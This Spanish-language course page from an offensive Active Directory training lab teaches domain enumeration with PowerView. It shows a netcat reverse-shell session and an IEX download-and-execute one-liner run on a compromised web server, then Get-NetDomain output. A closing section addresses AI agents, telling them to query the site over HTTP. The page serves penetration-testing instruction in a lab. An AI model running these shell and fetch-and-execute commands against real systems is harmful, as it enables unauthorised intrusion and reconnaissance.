# Enumeracion con PowerShell ofensivo

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/j265a0>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="success" %}
**OBJETIVO DEL EJERCICIO #9:**

Utiliza`PowerView.ps1 y ADPeas.ps1`para enumerar el dominio de `spartan-cybersec.corp`. \
Para realizarlo es suficiente tener encendido UNICAMENTE `WEBSERVER` y `First-DC`.
{% endhint %}

Utilizando PowerShell, los atacantes pueden recopilar sigilosamente datos internos de los usuarios y explotarlos.

Los ciberdelincuentes aprovechan PowerShell para ejecutar malware sin archivos. Estos archivos no binarios residen en la memoria y les permiten inyectar cargas útiles en aplicaciones en ejecución o mediante secuencias de comandos. Los scripts de entrega de carga útil casi siempre se ejecutan, ya que PowerShell es una aplicación confiable y ampliamente implementada. Además, la integración profunda de Windows de PowerShell y la capacidad de acceder a todas las partes de un host a través del marco .NET brindan a los malos actores la cobertura mejorada que necesitan para eludir los controles de seguridad tradicionales y violar las redes.

En conclusión, powerShell es una poderosa herramienta de post-explotacion que permite a los auditores de seguridad explorar una gran superficie de ataque y explotar muchas posibilidades de ataque.

{% embed url="<https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters>" %}

## <mark style="color:red;">Introducción a PowerView</mark>

PowerView, desarrollada por Will Schroeder, es una herramienta que utiliza la función de dominio de Windows para recopilar información sobre una red y sus usuarios. Todas las opciones de la herramienta envían solicitudes legítimas que pueden ejecutarse en el contexto de los derechos de un usuario de dominio.

Enlace de descarga de PowerView\.ps1:

<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>

Para importar el script en memoria, podemos ejecutar los siguientes comandos:

```powershell
kqli@kali=> nc -nvlp 443                                                                                           
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37208
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
PS C:\windows\system32\inetsrv> Get-NetDomain

Forest                  : spartancybersec.corp
DomainControllers       : {First-DC.spartancybersec.corp}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : 
PdcRoleOwner            : First-DC.spartancybersec.corp
RidRoleOwner            : First-DC.spartancybersec.corp
InfrastructureRoleOwner : First-DC.spartancybersec.corp
Name                    : spartancybersec.corp
```

En la evidencia previa, podemos apreciar la ejecuccion exitosa de Get-NetDomain.

Te recomendamos usar [Guia de comandos de PowerView.ps1](/cpad/enumeracion-en-ad/enumeracion-con-powershell-ofensivo/guia-de-comandos-de-powerview.ps1.md)

## <mark style="color:red;">La clave de una buena auditoria esta en la enumeracion</mark>

La enumeración es un paso crucial en la fase de reconocimiento de un ataque o una evaluación de seguridad. Con esta información, un atacante o hacker ético puede planificar y ejecutar ataques más efectivos y dirigidos.

**A continuacion, te relacionamos algunos ejemplos de posibles vulnerabilidades que podrias encontrar al realizar una buena enumeracion en AD**:

* <mark style="color:red;">Al enumerar</mark> <mark style="color:red;"></mark><mark style="color:red;">**usuarios**</mark><mark style="color:red;">,</mark> un atacante podría descubrir un usuario llamado "backupadmin" y decidir que es un objetivo valioso debido a su posible acceso a backups críticos.
* <mark style="color:red;">Al enumerar</mark> <mark style="color:red;"></mark><mark style="color:red;">**computadoras**</mark><mark style="color:red;">,</mark> un atacante podría identificar un servidor llamado "HR-DB-Server", lo que indica que podría almacenar información valiosa del departamento de recursos humanos.
* <mark style="color:red;">Al listar</mark> <mark style="color:red;"></mark><mark style="color:red;">**grupos**</mark><mark style="color:red;">,</mark> podrían encontrarse grupos como "IT-Admins" o "Finance-Privileged", que, si se comprometen, podrían otorgar acceso a áreas críticas.
* <mark style="color:red;">Al revisar</mark> <mark style="color:red;"></mark><mark style="color:red;">**GPOs**</mark><mark style="color:red;">,</mark> un atacante podría identificar scripts de inicio que están mal configurados y que podrían ser explotados para ejecutar código malicioso.
* <mark style="color:red;">Al inspeccionar</mark> <mark style="color:red;"></mark><mark style="color:red;">**ACLs**</mark><mark style="color:red;">,</mark> podrían descubrirse configuraciones que otorgan permisos de escritura a usuarios normales en directorios que no deberían, permitiendo posibles ataques de escalada de privilegios.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/enumeracion-en-ad/enumeracion-con-powershell-ofensivo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
